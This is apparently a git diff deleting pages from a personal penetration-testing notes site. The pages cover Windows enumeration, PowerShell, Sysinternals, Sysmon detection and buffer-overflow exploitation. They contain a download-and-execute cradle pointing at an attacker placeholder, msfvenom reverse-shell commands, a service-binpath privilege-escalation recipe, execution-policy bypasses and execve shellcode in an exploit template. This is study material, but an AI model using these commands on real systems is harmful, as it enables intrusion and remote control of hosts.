-
- - -
- -
-

Logging

- -

Loglevel

-

|ID|Event Type|Description| -|--|----------|-----------| -|0|Error|An event that indicates a significant problem.| -|1|Warning|An event that is not necessarily significant.| -|2|Information|An event describing the successful operation of an application.| -|3|Success Audit|An event that records an audited security access attempt that is successful.| -|4|Failure Audit|An event that records an audited security access attempt that is failure.|

-

Logrotation

-
C:\Windows\System32\winevt\Logs
-
- -
    -
  • As an example, paths can be found under Microsoft > Windows > PowerShell > Operational and right click Properties in Event Viewer. Logs can be cleared as well in properties.
    • -
-

Tools

-
    -
  • Event Viewer (GUI-based application)
    • -
  • Wevtutil.exe (command-line tool)
    • -
  • Get-WinEvent (PowerShell cmdlet)
    • -
-

wevtutil.exe

-
wevtutil.exe /?
-
- -
    -
  • Count logs
    • -
-
wevtutil.exe le | measure
-
- -
    -
  • Read three most recent Application logs
    • -
-
wevtutil qe Application /c:3 /rd:true /f:text
-
- -

Get-WinEvent

- -
Get-WinEvent -ListLog *
-
- -
    -
  • Find string
    • -
-
 Get-WinEvent -Path .\merged.evtx | Where-Object { $_.Message -like '*log clear*' }
-
- -
    -
  • Further filtering
    • -
-
Get-WinEvent -LogName Application | Where-Object { $_.ProviderName -Match 'WLMS' }
-
- -
Get-WinEvent -ListProvider *Policy*
-
- -
(Get-WinEvent -ListProvider Microsoft-Windows-GroupPolicy).Events | Format-Table Id, Description
-
- -
    -
  • Filter by hashtable values
    • -
-
Get-WinEvent -FilterHashtable @{ LogName='Application'; ProviderName='MsiInstaller' };
-
- -
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString'
-
- -
    -
  • Including XPATH
    • -
-
Get-WinEvent -LogName Application -FilterXPath '*/System/EventID=101 and */System/Provider[@Name="WLMS"]'
-
- -
Get-WinEvent -LogName Security -FilterXPath '*/EventData/Data[@Name="TargetUserName"]="System"'
-
- -
 Get-WinEvent -LogName Application -FilterXPath '*/System/Provider[@Name="WLMS"] and */System/TimeCreated[@SystemTime="2020-12-15T01:09:08.940277500Z"]' -MaxEvents 1
-
- -
    -
  • Find login by username
    • -
-
Get-WinEvent -LogName Security -FilterXPath '*/System/EventID=4720 and */EventData/Data[@Name="TargetUserName"]="sam"'
-
- -

Command Line Logging

-
    -
  • Enable PS Logging
    • -
-
Local Computer Policy > Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
-
- -
    -
  • CLI Process Auditing -- ID 4688
    • -
-
Local Computer Policy > Computer Configuration > Administrative Templates > System > Audit Process Creation
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/windows/manual_enum.html b/build/enumeration/windows/manual_enum.html deleted file mode 100644 index 9e4ab3e..0000000 --- a/build/enumeration/windows/manual_enum.html +++ /dev/null @@ -1,252 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Manual Windows Enumeration

-

General Info

-
systeminfo
-
- -
    -
  • Check installed updates
    • -
-
wmic qfe get Caption,Description
-
- -

Users

-
    -
  • whoami /priv
    • -
  • whoami /groups
    • -
  • whoami /all
    • -
  • -

    net user

    -
    • -
  • -

    net group

    -
    • -
  • net localgroup <groupname>
    • -
  • net accounts
    • -
  • net accounts /domain
    • -
-

Network Info

-
ipconfig
-ipconfig /all
-
- -
netstat -noba
-
- -
arp -a
-
- -
    -
  • Show shares
    • -
-
net share
-
- -

Services

-
net start
-wmic service get name,version,vendor
-
- -

Non-Default Services

-
    -
  • Looking for non-default services:
    • -
-
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
-
- -
* **Unquoted Service Path** Ideally there is a path without quotation
-* Check which account the service the services run as
-
-```sh
-sc qc <ServiceName>
-```
-
- -
    -
  • Check if directory is writeable
    • -
-
powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/windows/powershell.html b/build/enumeration/windows/powershell.html deleted file mode 100644 index a735738..0000000 --- a/build/enumeration/windows/powershell.html +++ /dev/null @@ -1,528 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Powershell Usage

-

Get-Help

-
Get-Help Command-Name 
-
- -
    -
  • Show examples
    • -
-
Get-Help Command-Name -Examples
-
- -
    -
  • Get-Command gets all the cmdlets installed on the current Computer.
    • -
-
Get-Command
-
- -
Get-Command Verb-*
-Get-Command Invoke-*
-Get-Command Get-*
-
- -

Passing Output via Pipe

-
    -
  • A pipe passes object including methods and attributes.
    • -
-
Verb-Noun | Get-Member
-
- -
Get-Command | Get-Member -MemberType Method
-
- -

Creating Objects from Previous Cmdlets

-
Get-ChildItem | Select-Object -Property Mode, Name
-
- -
    -
  • first - gets the first x object
    • -
  • last - gets the last x object
    • -
  • unique - shows the unique objects
    • -
  • skip - skips x objects
    • -
-

Filtering Objects

-
Verb-Noun | Where-Object -Property PropertyName -operator Value
-Verb-Noun | Where-Object {$_.PropertyName -operator Value}
-
- -

The second version uses the $_ operator to iterate through every object passed to the Where-Object cmdlet. -* Where -operator is a list of the following operators:

-
    -
  • -Contains: if any item in the property value is an exact match for the specified value
    • -
  • -EQ: if the property value is the same as the specified value
    • -
  • -GT: if the property value is greater than the specified value
    • -
-

Sort Object

-
Verb-Noun | Sort-Object
-
- -
Get-ChildItem | Sort-Object
-
- -

Finding a File

-
Get-ChildItem -Path C:\ -Recurse -Include *.txt -ErrorAction SilentlyContinue | Where-Object {$_.Name -match 'interesting-file'}
-
- -
Get-HotFix | Format-list | findstr  <searchstring>
-
- -
Get-ChildItem -Hidden -Recurse -ErrorAction SilentlyContinue
-
- -
    -
  • Find backup files
    • -
-
Get-ChildItem -Path C:\ -Recurse -Include *.bak* -ErroAction SilentlyContinue
-
- -
    -
  • Find file contents
    • -
-
Get-ChildItem -Path C:\* -Recurse | Select-String -pattern API_KEY
-
- -

Showing File Content

-
Get-Content 'C:\Program Files\interesting-file.txt'
-
- -
    -
  • Indexing lines
    • -
-
(Get-Content -Path file.txt)[index]
-
- -
    -
  • Search
    • -
-
Select-String <filename> -Pattern <pattern>
-
- -

Copy File Content

-
Copy-Item <sourcefile> <destfile>
-
- -

Count Lines of Output

-

As an example, count all cmdlets on the system

-
Get-Command | Where-Object CommandType -eq CmdLet | Measure-Object 
-
- -

Count Words

-
Get-Command | Where-Object CommandType -eq CmdLet | Measure-Object -Word
-
- -

Checksum of File

-
Get-FileHash -Algorithm MD5 'C:\Program Files\interesting-file.txt'
-
- -

Current Working Directory

-
Get-Location
-
- -

File Metadata

-
ls | Format-List *
-
- -

Web Request

-
Invoke-Webrequest -Uri 'http://<attacker-ip> -OutFile <filename>
-
- -
(New-Object System.Net.WebClient).DownloadFile("http://example.com/meterpreter.ps1", 'meterpreter.ps1')
-
- -
    -
  • Webrequest and execute in one go
    • -
-
powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%/PowerView.ps1'); Get-NetUser | select samaccountname, description"
-
- -

Base64 Decode File

-
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content .\Desktop\b64.txt)))
-
- -

Circumvent Execution-Policy

-
powershell -ExecutionPolicy Bypass -File .\<file>
-
- -
Set-ExecutionPolicy Bypass -Scope Process
-
- -

Enumeration

-

Users

-
Get-LocalUser
-
- -
    -
  • Password not required users
    • -
-
Get-LocalUser | Where-Object -Property PasswordRequired -Match false
-
- -
    -
  • SID of users
    • -
-
Get-WmiObject win32_useraccount | Select name, sid
-
- -

Network intel

-
    -
  • Connections
    • -
-
netstat -ano
-
- -
    -
  • IP Address
    • -
-
Get-NetIpAddress
-
- -
    -
  • Listening TCP Ports
    • -
-
Get-NetTCPConnection | Where-Object -Property State -Match Listen | measure
-
- -
    -
  • TCP Port by number
    • -
-
Get-NetTCPConnection | Where-Object -Property LocalPort -Match 443
-
- -

Patch level and updates

-
Get-Hotfix
-
- -
    -
  • Find patch by HotFixID
    • -
-
Get-Hotfix | Where-Object -Property HotFixID -Match KB124284
-
- -
wmic qfe get Caption,Description,HotFixID,InstalledOn
-
- -

Drivers

-
driverquery
-
- -

Processes

-
    -
  • Start processes
    • -
-
Start-Process <process>
-
- -
    -
  • Running processes
    • -
-
Get-Process <process>
-
- -

Scheduled tasks

-
schtasks /query /fo LIST /v
-
- -
Get-ScheduledTaskInfo
-
- -
    -
  • Scheduled Tasks, by TaskName
    • -
-
Get-ScheduledTask | Where-Object -Property TaskName -Match taskname
-
- -

or

-
Get-ScheduledTask -TaskName taskname
-
- -

Alternate Data Stream(ADS)

-
    -
  • Show ADS
    • -
-
Get-Item -Path file.exe -Stream *
-
- -
    -
  • Open ADS
    • -
-
wmic process call create $(Resolve-Path file.exe:streamname)
-
- -

Export Output

-
    -
  • Export as CSV
    • -
-
Get-Process <process> | Export-Csv <output.csv>
-
- -

ACL

-
    -
  • Owner of files
    • -
-
Get-ACL C:\
-
- -

Port Scanner

-
for($i=1; $i -le 65536; $i++) { Test-NetConnection localhost -Port $i}
-
- -

Ping Hosts

-
1..15 | %{echo "10.0.2.$_"; ping -n 1 10.0.2$_ | Select-String ttl}
-
- -

Antivirus

-
sc query windefend
-
- -
    -
  • Service name unknown
    • -
-
sc queryex type=service
-
- -

Using Powerview

-
Import-Module .\powerview.ps1
-Get-NetDomainController
-(Get-NetUser).name
-Get-NetUser -properties description
-Get-NetUser | select -ExpandProperty lastlogon
-Get-NetComputer -ping
-Get-NetGroupMember "Domain Admins"
-Find-DomainShare -CheckShareAccess
-
- -
    -
  • Enumerate Group Policy
    • -
-
Get-NetGPO
-
- -
    -
  • Trust relationship to other domains
    • -
-
Get-NetDomainTrust
-
- -
    -
  • User enumeration
    • -
-
Find-LocalAdminAccess
-
- -
whoami /priv
-
- -
Import-Module ActiveDirectory
-Get-ADGroup
-Get-ADGroupMember
-Get-ADPrincipalGroupMembership
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/windows/rpcclient.html b/build/enumeration/windows/rpcclient.html deleted file mode 100644 index 59d89e3..0000000 --- a/build/enumeration/windows/rpcclient.html +++ /dev/null @@ -1,184 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

RPCclient

-
    -
  • Enumerate users and groups
    • -
-
rpcclient <domain> <users>
-rpcclient $> enumdomusers
-...
-rpcclient $> enumdomgroups
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/windows/sysinternals.html b/build/enumeration/windows/sysinternals.html deleted file mode 100644 index d6c085c..0000000 --- a/build/enumeration/windows/sysinternals.html +++ /dev/null @@ -1,311 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Sysinternals and CLI usage

-

Opening System Properties

-
sysdm.cpl
-
- -

Installing webdav server,

-
    -
  • Starting windows webclient service
    • -
-
get-service webclient
-start-service webclient
-
- -
    -
  • Opening NetworkAndSharingCenter
    • -
-
control.exe /name Microsoft.NetworkAndSharingCenter
-
- -

Make sure Network Discovery is enabled, advanced settings!

-
Install-WindowsFeature WebDAV-Redirector โ€“Restart
-Get-WindowsFeature WebDAV-Redirector | Format-Table โ€“Autosize
-
- -

Sigcheck

-

Sigcheck is a command-line utility that shows file version number, timestamp information, and digital signature details, including certificate chains. It also includes an option to check a fileโ€™s status on VirusTotal, a site that performs automated file scanning against over 40 antivirus engines, and an option to upload a file for scanning.

-
    -
  • Check for unsigned files in C:\Windows\system32
    • -
-
sigcheck -u -e C:\Windows\System32
-
- -
    -
  • -u "If VirusTotal check is enabled, show files that are unknown by VirusTotal or have non-zero detection, otherwise show only unsigned files."
    • -
  • -e "Scan executable images only (regardless of their extension)"
    • -
-

Alternate Data Stream (ADS)

-

By default, all data is stored in a file's main unnamed data stream, but by using the syntax 'file:stream', you are able to read and write to alternates. (official definition)

-
streams file.txt
-
-notepad file.txt:<datastream_name>
-or
-Get-Content -Path .\file.txt -stream ads.txt
-
- -

SDelete

-

SDelete is a command line utility that takes a number of options. In any given use, it allows you to delete one or more files and/or directories, or to cleanse the free space on a logical disk.

-

TCPView

-

TCPView provides a more informative and conveniently presented subset of the Netstat program that ships with Windows. The TCPView download includes Tcpvcon, a command-line version with the same functionality.

-
tcpview
-tcpvcon
-
- -

Autoruns

-

Autoruns reports Explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, auto-start services, and much more.

-

Procdump

-

ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike.

-

Procdump

-

The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded.

-

Procmon

-

Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity.

-

Psexec

-

PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems

-

Winobj

-

WinObj is a 32-bit Windows NT program that uses the native Windows NT API (provided by NTDLL.DLL) to access and display information on the NT Object Manager's name space.

-

BGInfo

-

It automatically displays relevant information about a Windows computer on the desktop's background, such as the computer name, IP address, service pack version, and more

-

RegJump

-

This little command-line applet takes a registry path and makes Regedit open to that path. It accepts root keys in standard (e.g. HKEY_LOCAL_MACHINE) and abbreviated form (e.g. HKLM).

-
regjump HKLM
-
- -
    -
  • Similar to
    • -
-
reg query HKLM
-
- -
Get-Item
-Get-ItemProperty
-
- -

Strings

-

Strings just scans the file you pass it for UNICODE (or ASCII) strings of a default length of 3 or more UNICODE (or ASCII) characters.

-

Create a system authority shell

-
    -
  1. Check permissons
    2. -
-
accesschk.exe /accepteula -uwcqv user <serviceName>
-
- -
    -
  1. Query service
    2. -
-
sq qc <service>
-
- -
    -
  1. Set service config to the msfvenom reverse shell, uploaded previously.
    2. -
-
sc config daclsvc binpath= "\"C:\shell.exe""
-
- -
    -
  1. Start service and gain high priv shell
    2. -
-
net start daclsvc
-
- -

Tips & Tricks

- -
\\live.sysinternals.com\tools
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/windows/sysmon.html b/build/enumeration/windows/sysmon.html deleted file mode 100644 index 1f8b84c..0000000 --- a/build/enumeration/windows/sysmon.html +++ /dev/null @@ -1,259 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Sysmon

-

Sysmon gathers detailed and high-quality logs as well as event tracing that assists in identifying anomalies in your environment. Sysmon is most commonly used in conjunction with security information and event management (SIEM) system or other log parsing solutions that aggregate, filter, and visualize events.

-

Paths

-
    -
  • Logfiles
    • -
-
Applications and Services Logs/Microsoft/Windows/Sysmon/Operational
-
- -

Configuration

- -

Installation

-
Downloads-SysInternalsTools C:\Sysinternals
-
- -

Best Practices

-
    -
  • Exclude, not include events
    • -
  • CLI gives further control over filters
    • -
-
Get-WinEvent
-
- -
wevutil.exe
-
- -
    -
  • Know the env before implementation
    • -
-

Filtering Events

-
    -
  • Actions -> Filter Current Log
    • -
-

Filtering Events with Powershell

-
    -
  • Logged Events containing port 4444
    • -
-
Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=4444'
-
- -
    -
  • Logged Events containing lsass.exe
    • -
-
Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=10 and */EventData/Data[@Name="TargetImage"] and */EventData/Data="C:\Windows\system32\lsass.exe"'
-
- -
    -
  • Rats and C2
    • -
-
Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=<Port>'
-
- -

Evasion Techniques

-
    -
  • Alternate Data Streams
    • -
  • Injections
    • -
  • Masquerading
    • -
  • Packing/Compression
    • -
  • Recompiling
    • -
  • Obfuscation
    • -
  • Anti-Reversing Techniques
    • -
  • Remote Thread (OpenThread, ResumeThread)
    • -
-

Detecting Evasion Techniques with Powershell

-
Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=15'
-Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=8'
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/enumeration/windows/vss.html b/build/enumeration/windows/vss.html deleted file mode 100644 index 347d3e7..0000000 --- a/build/enumeration/windows/vss.html +++ /dev/null @@ -1,185 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Volume Shadow Copy Service

-

Usage

-
vssadmin list volumes
-
- -
vssadmin list shadows
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/CPUs/meltdown.html b/build/exploit/CPUs/meltdown.html deleted file mode 100644 index ea191c3..0000000 --- a/build/exploit/CPUs/meltdown.html +++ /dev/null @@ -1,216 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Meltdown

-
    -
  • -

    PoC from IAIK -Overview

    -
    • -
  • -

    Each page table entries has the following flag values

    -
      -
    • SUP (user or kernel mode)
      • -
    • READ
      • -
    • WRITE
      • -
    -
    • -
  • -

    Flags are checked by the MMU

    -
    • -
  • -

    Pipelined steps of an instruction are the following

    -
      -
    • Fetch
      • -
    • Decode
      • -
    • Execute
      • -
    • Memory access
      • -
    • Register write back
      • -
    -
    • -
  • -

    A pipeline can execute one of each steps concurrently every clock cycle.

    -
    • -
  • The MMU may jump between instruction queued in the pipeline to make use of time while the current instruction stalls.
    • -
  • -

    Speculative execution is the reordering of instructions to speed up execution inside the pipeline.

    -
      -
    • If a condition is executed speculatively, kernel memory may be executed. No error is thrown, because the is no assurance if the condition will actually be executed in the end.
      • -
    -
    • -
  • -

    Kernel Page Table Isolation can be used to mitigate meltdown.

    -
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/aslr.html b/build/exploit/binaries/aslr.html deleted file mode 100644 index 2421885..0000000 --- a/build/exploit/binaries/aslr.html +++ /dev/null @@ -1,189 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

ASLR

-

System Status

-
    -
  • 0, No randomization
    • -
  • 1, Conservative, *.so, stack, mmap, VDSO and heap
    • -
  • 2, full randomization
    • -
-

Disable

-
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/buffer_overflow/docs/amd64.html b/build/exploit/binaries/buffer_overflow/docs/amd64.html deleted file mode 100644 index b6442cd..0000000 --- a/build/exploit/binaries/buffer_overflow/docs/amd64.html +++ /dev/null @@ -1,239 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

amd64

-
    -
  • rax return value, caller saved.
    • -
  • rbx base register (used for mem basepointer)
    • -
  • rcx counter register
    • -
  • r10, r11 are caller saved.
    • -
  • rbx, r12, r13, r14 are callee saved
    • -
  • rdx data register
    • -
  • rbp is also callee saved(and can be optionally used as a frame pointer)
    • -
  • rsp is callee saved
    • -
  • rip next instruction pointer
    • -
-

Function argument registers

-
    -
  • rdi,rsi,rdx,rcx,r8,r9, called saved.
    • -
  • Further function args are stored inside its stack frame.
    • -
-

Overwriting Variables and Padding

-
    -
  • Overwrite an atomic variable behind a buffer
    • -
-
int main ( int argc, char ** argv ) {
-    int var = 0 
-    char buffer[12];
-
-    gets(buffer);
-    [...]
-}
-
- -
    -
  • Stack layout
    • -
-
Bottom 
-+------------------+
-| Saved registers  |
-+------------------+
-| int var          |
-+------------------+
-| char buffer [11] |
-| ...              |
-| ...              |
-| ...              |
-| char buffer [0]  |
-+------------------+
-| char ** argv     |
-+------------------+
-| char argc        |
-+------------------+
-Top
-
- -
    -
  • Watch out! I.e., a 12 byte array is padded to system memory allocation size.
    • -
-
+-------------+----+
-|12 byte array| 4b |
-+-------------+----+
-0            12   16 byte
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/buffer_overflow/docs/amd64_instructions.html b/build/exploit/binaries/buffer_overflow/docs/amd64_instructions.html deleted file mode 100644 index fc51230..0000000 --- a/build/exploit/binaries/buffer_overflow/docs/amd64_instructions.html +++ /dev/null @@ -1,288 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

amd64 instructions

-
    -
  • ; starts a comment
    • -
-

Values

-
    -
  • Immediate, numbers
    • -
  • register, existing registers
    • -
  • memory, memory addresses
    • -
-

Move

-
    -
  • MOV, from source to destination
    • -
  • LEA, loads memory address and stores it in the destination. Address can have an offset. Does not dereference [var] or [var+x]
    • -
  • PUSH & POP, put & delete registers to/from stack.
    • -
-

Arithmetic

-
    -
  • INC, increment
    • -
  • DEC, decrement
    • -
  • ADD
    • -
  • SUB, substracts source from dest and stores in dest
    • -
  • MUL & IMUL, result may be stored in upper and lower halfs (rdx:rax)
    • -
  • DIV & IDIV, rax is divided by rbx and may be stored in two halfs as well
    • -
-

Conditionals

-
    -
  • RET, return value to the caller
    • -
  • CMP, compare two values and sets flag. Next instruction is a jump condition to a line number. Works as follows
      -
    • JE, JEZ, JLE ... followed by linenumber
      • -
    -
    • -
  • NOP, \x90
    • -
  • CALL a function
    • -
-

Address Handling

-
    -
  • [var], memory address of var.
      -
    • If var contains an address then after mov [var], 42 var points to the value 42. [ dereference.
      • -
    -
    • -
-

Zero Handling in Registers

-
    -
  • Move to eax will result in zeroing the upper 32 bit of an rax register, move to ax, ah, al will not.
    • -
  • MOVZX zeros anything but the value moved to the register inside of it.
    • -
-

Jumps

-
    -
  • -

    For signed value comparison

    -
      -
    • JL/JNGE (SF <> OF) ; Jump if less/not greater or equal
      • -
    • JGE/JNL (SF = OF) ; Jump if greater or equal/not less
      • -
    • JLE/JNG (ZF = 1 or SF <> OF); Jump if less or equal/not greater
      • -
    • JG/JNLE (ZF = 0 and SF = OF); Jump if greater/not less or equal
      • -
    -
    • -
  • -

    For unsigned value comparison

    -
      -
    • JB/JNAE (CF = 1) ; Jump if below/not above or equal
      • -
    • JAE/JNB (CF = 0) ; Jump if above or equal/not below
      • -
    • JBE/JNA (CF = 1 or ZF = 1) ; Jump if below or equal/not above
      • -
    • JA/JNBE (CF = 0 and ZF = 0); Jump if above/not below or equal
      • -
    -
    • -
-

Flags

-
    -
  • eflags 32bit
    • -
  • rflags 64bit
    • -
-

Status

-
    -
  • Zero Flag (ZF), 1 if the result of the comparison is equal.
    • -
  • Carry Flag (CF), a 1 is stored if a carry is needed after a calculation.
    • -
  • Overflow Flag (OF), register overflow is 1
    • -
  • Sign Flag (SF), 1 if result is negative.
    • -
  • Adjust/Auxiliary Flag (AF), carry flag for BCD.
    • -
  • Parity Flag (PF), 1 if the last 8 bits are even.
    • -
  • Trap Flag (TF)
    • -
-

Calling Conventions

-

cdecl

-

fastcall

-
    -
  • First four are passed left to right
    • -
  • int -> RCX, RDX, R8, R9
    • -
  • float -> XMM0, XMM1, XMM2, XMM3
    • -
  • Rest is right to left
    • -
  • Basepointer is saved by the caller
    • -
  • Return values is passes via rax or xmm0
    • -
  • Caller allocates space for at least four values, so 32 bytes are reserved. $rsp to $rsp+0x18
    • -
  • Volatile registers are rax, rcx, r8, r9, r10, r11, xmm0, xmm1, xmm2, xmm3, xmm4, xmm5. These are destroyed after function call.
    • -
  • Nonvolatile registers are rbx, rbp, rdi, rsi, rsp, r12, r13, r14, r15, xmm6-15 ares saved and restored after function call.
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/buffer_overflow/docs/buffer_overflow.html b/build/exploit/binaries/buffer_overflow/docs/buffer_overflow.html deleted file mode 100644 index 7f9da75..0000000 --- a/build/exploit/binaries/buffer_overflow/docs/buffer_overflow.html +++ /dev/null @@ -1,275 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Buffer Overflow

- -

Usage

-
    -
  • Fuzz & crash the binary pretty roughly via payload
    • -
-
python -c "print('A' * 3000)
-
- -

Fuzzing

-
    -
  • -

    python 3 -../fuzzer.py

    -
    • -
  • -

    python 2 -../fuzzer2.py

    -
    • -
-

Measure Offset

-
    -
  • Use as payload
    • -
-
/opt/metasploit/tools/exploit/pattern_create.rb -l <bufferlength>
-
- -
    -
  • Find content of the payload at EIP and identify exact bufferlength
    • -
-
/opt/metasploit/tools/exploit/pattern_offset.rb -l <bufferlength> -q <EIP-content>
-
- -
msf-pattern_offset -l <bufferlength> -q <EIP>
-
- -
mona msfpattern -l <bufferlength>
-
- -
    -
  • -

    Fill offset variable in exploit buffer_overflow.py -../buffer_overflow.py

    -
    • -
  • -

    Execute buffer_overflow.py, EIP should contain BBBB

    -
    • -
-

Find bad characters to input in the buffer

-
    -
  • -

    Execute bad_chars.py and include it as payload. Always excluded is \x00. -../bad_chars.py

    -
    • -
  • -

    Compare stack if any bad chars block exectuion of the payload following in the next steps.

    -
    • -
-
!mona bytearray -b "\x00"
-!mona compare -f <path_to_bytearray.bin> -a <ESP>
-
- -

Find Jump Point / RoP

-
    -
  • Jump point to ESP (32 bit binary) needs to be found to put it inside EIP
    • -
-

Example: Immunity Debugger using mona on windows machine

-
!mona modules
-
- -
!mona jmp -r esp -m <exploitable_bin_from_modules>
-
- -
    -
  • The found address needs to be LITTLE ENDIAN NOTATION INSIDE THE EIP VARIABLE if x86/amd64
    • -
-

Shellcode as Payload

-
    -
  • Last part is the individual shellcode, put it in the payload variable of buffer_overflow.py
    • -
-
msfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"
-msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker-ip LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"
-
- -
    -
  • Prepend NOPs as padding before shellcode
    • -
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html b/build/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html deleted file mode 100644 index 23f9d68..0000000 --- a/build/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html +++ /dev/null @@ -1,212 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Cut Stack in Half + NOPsled

-
    -
  • Stack has to be executable
    • -
  • cylic buffer + eip content is esp + half of the stack + NOPsled + shellcode
    • -
  • ASLR has to be off or eip content address pointing into the sled needs to be fuzzed hard
    • -
-

shellcraft

-
    -
  • for example
    • -
-
shellcraft i386.linux.execve "/bin///sh" "['sh', '-p']" -f s
-
- -

Usage

-
    -
  • measure eip offset via - sh - cyclic <number>
      -
    • Check eip content via gdb -sh -cyclic -l <eipContent>
      • -
    -
    • -
  • Example code
    • -
-
from pwn import *
-
-padding(cyclic(cyclic_find(<eipContent>))
-eip = p32(<esp> + some offset into stack)
-sled = 90 * 100
-shellcode = "jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"
-payload = padding + eip + sled + shellcode
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html b/build/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html deleted file mode 100644 index 8a545e9..0000000 --- a/build/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html +++ /dev/null @@ -1,192 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

pwntools

-

Memory Addresses of ELF Binary

-
    -
  • Find address of function and use it on $eip
    • -
-
p = process(<binary>)
-elf = ELF(<binary>)
-__function = elf.symbol.<functionName>
-payload = fit({
-    42: __function # Length measured via cyclic 
-})
-p.sendline()
-proc.interactive() 
-
- -
-
- - - - - - - \ No newline at end of file diff --git a/build/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html b/build/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html deleted file mode 100644 index f0bde55..0000000 --- a/build/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html +++ /dev/null @@ -1,342 +0,0 @@ - - -
- - - - - - - - - - -
- The Real Hugo - - - - - - -
- Husk -
-
- - - - -
- - -
-
- -
-

-
- -
- -
-
- - -
- -
-

Return Address reuse

-

via Shellcode, an examples

-
    -
  • Find out the address of the start of the buffer and the start address of the return address
    • -
  • Calculate the difference between these addresses so you know how much data to enter to overflow
    • -
  • -

